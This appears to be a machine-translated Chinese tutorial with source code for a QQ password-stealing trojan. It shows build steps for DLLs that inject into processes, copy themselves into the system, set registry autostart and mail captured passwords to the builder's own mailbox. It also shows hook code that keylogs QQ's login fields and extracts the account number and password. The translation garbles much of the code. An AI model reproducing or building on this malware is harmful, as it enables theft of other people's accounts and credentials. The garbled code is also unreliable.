IF (SOND (SOCKID, BUF, LSTRLEN (BUF), 0) == Socket_ERROR) {# IFDEF_Debugprintf ("Send () error:% d / n", getLastError ()); # endifreturn 1;}}
Return 0;} // -------------------------------------------- ------------------------- // Base64 code, CHASC: Uncoded binary code, Chuue: encoded Base64 code Void Base64 (unsigned char Chasc [3], unsigned char chuue [4]) {INT i, k = 2; unsigned char t = 0;
For (i = 0; i <3; i ) {
* (chuue i) = * (Chasc i) >> K; * (chuue i) | = T; t = * (chasc i) << (8-k); t >> = 2; k = 2;}
* (chuue 3) = * (chasc 2) & 63;
For (i = 0; i <4; i )
IF ((* (chuue i)> = 0) && (* (chuue i) <= 25)) * (chuue i) = 65; ELSE IF ((* (chuue i)> = 26) && (* (chuue i) <= 51)) * (chuue i) = 71;
ELSE IF (* (Chuue I)> = 52) && (* (chuue i) <= 61)) * (chuue i) - = 4;
ELSE IF (* (chuue i) == 62) * (chuue i) = 43;
ELSE IF (* (chuue i) == 63) * (chuue i) = 47;
}
Compile:
First change your mailbox information in the file of getqqpass.c into yourself. Then use the LCC compiler, it is also possible to compile together, so separation just looks clear.
lc -c -O GQPSvr.clc -c -O getqqpass.clc -c -O getosver.clc -c -O injectdll.clc -c -O CopySelfToSys.clc -c -O RegStart.clc -c -O AddPrivilege.clc -c -o getStyleWindow.Clc -c-o sendmail.clc -c -o processtopid.clc -c -o nt_gqp_dll.clc -c -o nt_plus_dll.c
Then connect two DLLs:
LcCLNK -S -DLL -ENTRY DLLMAIN NT_GQP_DLL.Obj sendmail.obj getStyleWindow.obj getqqqpass.obj WS2_32.lib
LCCLNK -S -DLL -ENTRY DLLMAIN NT_PLUS_DLL.Obj INJECTDLL.OBJ Processtopid.obj AddPrivileGe.obj
This will generate two DLL: NT_GQP_DLL.DLL and NT_PLUS_DLL.DLL, and then convert these two DLL files into data files with bin2txt tools, name GQP_DATA.H and PLUS_DATA.H, put the data inside three The gqp_dll_data1, gqp_dll_data2 and gqp_dll_data3 in large groups also have Plus_DLL_DATA2, PLUS_DLL_DATA3. (Use three because the LCC compiler does not support too much row, if you compile with VC, put it directly in a array.)
This way, the main program can be compiled. lcclnk -s -subsystem windows GQPSvr.obj RegStart.obj copyselftosys.obj getosver.obj injectdll.obj AddPrivilege.obj GetStyleWindow.obj sendmail.obj processtopid.obj getqqpass.obj ws2_32.lib ----------- -------------------------------------------------- -------------------
Author: metamorphosis hot dogs
Get QQ password with hooks
Author: yafizyh (Yafei)
The new version of the QQ client is released. In addition to the newness of the interface, QQ is perfect for the protection of the password, is it really safeguarding the legitimate rights and interests of users? With this question, I did some attempts, the result is very disappointed, and the programs that steal QQ passwords can be written by very simple programming means. Let's tell the implementation method (don't blame me to help the abuse, after all, it is a sheep, don't expect no wolves to eat you), and this program is also a very valuable example, including hook functions, DLL data sharing, process inter-process communication, etc. . The program includes two parts: the DLL section implements the hook function, and the EXE section implements the auxiliary function. First, the exe section. Use the wizard to establish a dialog instance, name "QQGPS". Because the program is running, there should be an interface, so on the basis of this instance. Delete the dialog template, dialog box. H file, .cpp file, and #include statement containing the corresponding file. Use the wizard from the base class "cframewnd" to derive new categories "cmainwnd". Add function bool createframe (); Bool CMainWnd :: CreateFrame () {Rect RT = {0, 0, 1, 1}; BOOL RET = false; Ret = CWnd :: Createex (0, afxregisterWndclass (0) , "YAFI", ~ WS_Visible, RT, 0, 0); // Create an invisible window. Settimer (0,500, null); // Create a timer Return Ret;} Rewind the original CQQQGPSAPP :: InitInstance function. Bool CQQGPSAPP :: InitInstance () {cmainwnd * pwnd = new cmainwnd (); pWnd-> CreateFrame (); m_pmainwnd = pwnd; return true; // Returns True, start the message loop. } To now, a frame has been produced, with a message processing function, no interface. The message processing function of the timer is added below. When the QQ runtime will look up the window handle of the two editing boxes above and passed it to the DLL.
void CMainWnd :: OnTimer (UINT nIDEvent) {// TODO: Add your message handler code here and / or call default HWND hdlg = NULL, handle1 = NULL, handle2 = NULL, hID; BOOL stop = 0; CString title; int num = 0; While (! Stop && Num <50) {hand1 = :: FindWindow ("# 32770", null; if (handle1! = Null) {handle2 = :: FindWindowEx (Handle1, Null, "Static", null; :: getWindowText (Handle2, Title.getBuffersetLength (20), 20); if (title == "QQ number:") {stop = true1;}} Num ;}}} Num ;} if (hdlg! = Null) // This is the window handle of the QQ dialog {stop = 0; Num = 0; while (! Stop && num <50) {handle1 = :: FindWindowEx (HDLG, NULL, "ComboBox", null; if (Handle1! = 0) { Handle2 = :: FindWindowEx (Handle1, NULL, "Edit", NULL; if (Handle2! = NULL) {hid = Handle2; / / This is the number edit box window handle stop = true;}}}} { STOP = 0 NUM = 0; While (! Stop && Num <50) {handle1 = :: FindWindowEx (HDLG, NULL, "Edit", NULL); if (Handle1! = 0) // This is a password editing box window handle {stop = true ; If (hookstart (this-> m_hwnd, handle1, hid)) // DLL export function killtimer (0); // Discover QQ operation, start hook functions, close timer}}}} cframeWnd :: Ontimer (nidevent) }
Second, the DLL section. Use the wizard to generate an MFC AppWizard (DLL) instance, name "QQGPD". Add code to the header file. #define QQGPD_API __declspec (dllexport) QQGPD_API BOOL HookStart (HWND hWnd = NULL, HWND hWndCtlPW = NULL, HWND hWndCtlID = NULL); // derivation function, the sub-mount configuration QQGPD_API BOOL HookStop (); // derivation function, unloaded hook add the code to the top cpp files: #pragma data_seg ( "Shared") HHOOK g_hhookKey = NULL; HHOOK g_hhookMouse = NULL; HWND g_hWnd = NULL; HWND g_hWndCtlPW = NULL; HWND g_hWndCtlID = NULL; #pragma data_seg () # pragma comment (linker, "/ Section: Shared, RWS")
CSTRING G_STRKEY, G_STRID; // DLL global variables are used to receive password and number hinstance g_hinstdll = null; // DLL global variable records DLL instance handle here there are several lines of code is strange #pragma data_seg ("shared") #pragma data_seg () #pragma Comment (Linker, "/ Section: Shared, RWS") Their role is to make the variables between the first two statements become shared data of all instances. They must be assigned to them. For details, if they are global variables, when the program "QQGPS" is running, the "QQGPS" process will load the DLL and pass three parameters to the DLL. When the QQ client program is running, the DLL will be loaded due to the hooks being hidden. Ok, now there are two DLL instances, running on the address space of two different processes, passing the parameters to the DLL in the "QQGPS" process, and the corresponding variables of the DLL loaded in the QQ client are not changed, In fact their value will be the value of them when initialization. The above method is equally applicable to executable files, allowing multiple executables to share a variable. Then added derivation function: BOOL HookStart (HWND hWnd, HWND hWndCtlPW, HWND hWndCtlID) // hook dangled {if (g_hhookKey = NULL││g_hhookMouse = NULL!!) Return 0; g_hWnd = hWnd; // main window handle g_hWndCtlPW = hWndCtlPW; // password edit box window handle g_hWndCtlID = hWndCtlID; // number edit box window handle g_hhookKey = :: SetWindowsHookEx (WH_KEYBOARD, (HOOKPROC) KeyHookProc, g_hinstDll, :: GetWindowThreadProcessId (hWndCtlPW, NULL)); // as QQ mount keyboard hook g_hhookMouse = :: SetWindowsHookEx (WH_MOUSE, (HOOKPROC) MouseHookProc, g_hinstDll, :: GetWindowThreadProcessId (hWndCtlPW, NULL));! // QQ attached to the mouse hook return (! g_hhookKey = NULL) && (g_hhookMouse = NULL );} BOOL HookStop () // unloading hook {BOOL ret1 = 0, ret2 = 0;! if (g_hhookKey = NULL) ret1 = :: UnhookWindowsHookEx (g_hhookKey);! if (g_hhookMouse = NULL) ret2 = :: UnhookWindowsHookEx ( g_hhookmouse); g_hookkey = null; g_hookmouse = null; return Ret1 && Ret2;} The following two are the corresponding hook functions.
LRESULT MouseHookProc (int nCode, WPARAM wParam, LPARAM lParam) // function to send the mouse hook when you click on the "Login" button information {MOUSEHOOKSTRUCT * MouseInfo = lParam (MOUSEHOOKSTRUCT *); CString title, str; CWnd wnd; if ((nCode = = HC_Action) && (wPARAM == WM_LButtondown)) {wND.attach (MouseInfo-> HWnd); wnd.getWindowText (title); wnd.detach (); if (title == "Login") {if (g_strkey.getlength ()> 0) {: seundMessage (g_hwndctlid, wm_gettext, 20, (lparam) g_strid.getBuffersetLength (20))); // Get Number Str = "Number:"; Str = g_strid; str .ReleaseBuffer (); str = "Password:"; str = g_stroyal; atom atom = :: globaladdatom (str.getBuffer (0)); // Using global atomic table Performance Damthron News :: PostMessage (g_hwnd, wm_getpw, (wparam) Atom, 1); } else {:: PostMessage (g_hwnd, wm_getpw, 0,0);} g_strkey = "/ 0";} else} else} (title == "Cancel") {: postMessage (g_hwnd, wm_getpw, 0,0); g_strkey = "/ 0";} else if (title == "Registered Wizard") {:: PostMessage (g_hwnd, wm_getpw, 0,0); g_strkey = "/ 0";}} Return :: CallNexthookex (g_hhookmouse, ncode, wparam, lparam);} LRESULT KeyhookProc (int Ncode, WPARAM WPARAM, LPARAM LPARAM) / / Keyboard hook function, blocking the keyboard information sent to the password box {BOOL BCAP = ((:: getKeyState (vk_capital) & 0x01)! = 0); bool bshift = ((:: getKeyState (vk_shift) & 0x8000 )! = 0); CHAR CH = 1; CSTRING STR; IF ((ncode == hc_action) && (:: getfocus () == g_hWndctLPW)) // Only press the keyboard (rather than lane )
And the password edit box performs the following code {IF ((wPARAM == 0x08) && (g_stroyal.getlength ()> 0) // backspace {g_stroyal.delete (g_stroyal.getlength () - 1, 1); Else IF (WPARAM> = 0x41 && WPARAM <= 0x5a) // A - Z or A - Z {CH = :: MapVirtualKey (WPARAM, 2) & 0xFF; G_STRKEY = (BCAP ^ Bshift? CH: CH 32 } Else if (wParam> = 0x30 && wparam <= 0x39) // 0--9 {ch = :: MapVirtualKey (WPARAM, 2) & 0xFF; if (! Bshift) g_strkey = ch; else {switch (ch) {CASE '1': g_strkey = '!'; Break; Case '2': g_strkey = '@'; Break; Case '3': g_strkey = '#'; Break; Case '4': g_strkey = '$'; BREAK Case '5': g_strkey = '%'; Break; Case '6': g_strkey = '^'; Break; Case '7': g_ strkey = '&'; Break; Case '8': g_strkey = '*'; Break; Case '9': g_strkey = '('; Break; Case '0') '; Break;}}} Else IF ((wparam> = 0x60 && wparam <= 0x69) && ((:: getKeyState (vk_numlock) & 0x01)! =
0) / / Keypad 0--9 {CH = :: MapVirtualKey (WPARAM, 2) & 0xFF; g_strkey = ch;} else if (wparam == 0x20) // Space {g_stroyal = ';} else IF WPARAM == 0xBA) {if (! bshift) g_stroyal = ';'; Else G_StrKey = ':';} else if (wparam == 0xBB) {if (! bshift) g_strkey = '='; Else G_STRKEY = ' ';} Else if (wparam == 0xBC) {if (! Bshift) g_strkey =', '; Else g_strkey =' <';} else if (wparam == 0xBD) {if (! Bshift) g_strkey =' - ' ELSE G_STRKEY = '_';} else if (wparam == 0xbe) {if (! Bshift) g_stroyal = '; Else G_STRKEY ='> ';} else if (wparam == 0xBF) {ix (! Bshift G_STRKEY = '/'; else g_strkey = '?';} Else if (wparam == 0xc0) {if (! Bshift) g_strkey = '`'; Else g_strkey = '~';} else if (wparam == 0xDB) {if (! bshift) g_strkey = '; Else G_STRKEY =' {';} else if (wparam == 0xDC) {if (! bshift) G_STRKEY = '/'; Else G_StrKey = '│';} Else IF (WPARAM ==
0xDD) {if (! Bshift) g_stroyal = ']'; Else G_StrKey = '}';} else if (wparam == 0xde) {if (! Bshift) g_strkey = (char) 0x2e; else g_strkey = (char) 0x22 } :: SendMessage (g_hwndct, 20, (lparam) g_strid.getBuffersetLength (20));} f ((ncode == hc_action) && (lparam & 0x40000000)) {if (wparam == 0x0D) // Enter { IF (g_stroyal.getLength ()> 0) {str = "number:"; str = g_strid; str = "password:"; str = g_strkey; atom atom = :: globaladdatom (str.getbuffer 0))); // Use the global atomic table to process inter-process communication. :: PostMessage (g_hwnd, wm_getpw, (wparam) atom, 1);} else :: PostMessage (g_hwnd, wm_getpw, 0,0); g_strkey = "";}} return :: CallNexthookex (G_HHHHHHHOOKKEY, NCODE, WPARAM, LPARAM The last step, the transmission of the inter-process message is realized. Add code #define wm_getpw WM_APP 1 in the DLL header file, add the corresponding message processing function to the "QQGPS" "cmainwnd" class to process the WM_GETPW message. LResult CMainWnd :: getPw (WPARAM WPARAM, LPARAM LPARAM) {CString Str; if (lparam) {:: GlobalGetAMName ((atom) WPARAM, STR.GetBuffersetLength (80), 80); // Exterior, use atomic table transfer data For the same string, the original word table name is not case sensitive. :: GLOBALDETEATOM ((Atom) WPARAM; MessageBox (STR); // Displays QQ number and password in the form of a dialog box. If the function is replaced, the password can be sent to the specified mailbox. } Return hookstop (); // Uninstall hook} Ok, correct link connector files and library files, run the executable. Open QQ, enter the number and password, click "Enter" or the mouse click "Login". If everything is correct, a dialog box will pop up the QQ number and password. As a domestic user group, the most large real-time network communication tool, QQ is too fragile with the protection mechanism of the password.